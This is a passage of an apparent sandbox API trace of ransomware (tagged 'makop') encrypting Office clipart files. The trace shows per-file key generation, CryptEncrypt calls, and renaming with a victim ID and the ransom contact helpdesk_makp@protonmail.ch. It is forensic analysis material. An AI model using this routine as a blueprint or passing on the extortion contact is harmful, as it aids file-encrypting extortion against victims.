Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.224] GetProcessHeap () returned 0x48a0000 [0111.224] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.224] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.224] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.224] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.229] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.229] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.229] GetProcessHeap () returned 0x48a0000 [0111.229] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.229] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.229] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.229] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.229] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.230] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.230] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.230] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.230] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.230] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.231] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.231] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.231] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x39e4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x39e4, lpOverlapped=0x0) returned 1 [0111.233] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x39f0, dwBufLen=0x39f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x39f0) returned 1 [0111.233] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.234] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x39f0, lpOverlapped=0x0) returned 1 [0111.234] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.234] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.234] SetEndOfFile (hFile=0xf0) returned 1 [0111.242] GetProcessHeap () returned 0x48a0000 [0111.242] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.242] GetProcessHeap () returned 0x48a0000 [0111.242] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.242] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.243] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.244] CloseHandle (hObject=0xf0) returned 1 [0111.245] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0111.246] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0111.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.247] GetProcessHeap () returned 0x48a0000 [0111.247] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.247] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.247] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.252] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.252] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.252] GetProcessHeap () returned 0x48a0000 [0111.252] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.252] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.252] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.252] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.253] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.253] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.253] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.253] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.253] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.253] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.254] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.254] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.254] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe6c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe6c, lpOverlapped=0x0) returned 1 [0111.254] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe70, dwBufLen=0xe70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe70) returned 1 [0111.254] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.254] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe70, lpOverlapped=0x0) returned 1 [0111.254] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.254] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.254] SetEndOfFile (hFile=0xf0) returned 1 [0111.261] GetProcessHeap () returned 0x48a0000 [0111.261] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.261] GetProcessHeap () returned 0x48a0000 [0111.261] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.261] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.261] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.263] CloseHandle (hObject=0xf0) returned 1 [0111.263] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0111.263] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0111.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.266] GetProcessHeap () returned 0x48a0000 [0111.266] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.266] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.266] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.266] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.266] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.266] GetProcessHeap () returned 0x48a0000 [0111.266] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.266] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.266] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.266] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.271] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.271] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.271] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.271] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.271] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.272] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.272] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.272] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.272] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe30, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe30, lpOverlapped=0x0) returned 1 [0111.272] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe30, dwBufLen=0xe30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe30) returned 1 [0111.273] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.273] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe30, lpOverlapped=0x0) returned 1 [0111.273] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.273] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.273] SetEndOfFile (hFile=0xf0) returned 1 [0111.280] GetProcessHeap () returned 0x48a0000 [0111.280] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.280] GetProcessHeap () returned 0x48a0000 [0111.280] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.280] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.282] CloseHandle (hObject=0xf0) returned 1 [0111.283] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0111.283] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0111.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.285] GetProcessHeap () returned 0x48a0000 [0111.285] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.285] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.285] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.285] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.285] GetProcessHeap () returned 0x48a0000 [0111.285] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.285] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.286] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.286] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.290] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.290] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.290] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.291] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.291] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.291] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.291] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.291] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.291] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe20, lpOverlapped=0x0) returned 1 [0111.291] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0111.292] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.292] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0111.292] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.292] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.292] SetEndOfFile (hFile=0xf0) returned 1 [0111.299] GetProcessHeap () returned 0x48a0000 [0111.299] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.299] GetProcessHeap () returned 0x48a0000 [0111.299] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.299] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.300] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.301] CloseHandle (hObject=0xf0) returned 1 [0111.302] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0111.302] 